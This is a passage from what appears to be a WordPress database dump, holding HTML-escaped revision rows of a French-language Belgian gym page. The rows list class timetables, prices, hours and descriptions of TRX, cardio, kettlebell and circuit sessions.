5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:02:21', '2013-07-03 17:02:21', '', 11, 'http://www.crosstrainingcenter.be/?p=180', 0, 'revision', '', 0),
(181, 1, '2013-07-03 17:03:11', '2013-07-03 17:03:11', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:03:11', '2013-07-03 17:03:11', '', 11, 'http://www.crosstrainingcenter.be/?p=181', 0, 'revision', '', 0),
(186, 1, '2013-07-03 17:30:27', '2013-07-03 17:30:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 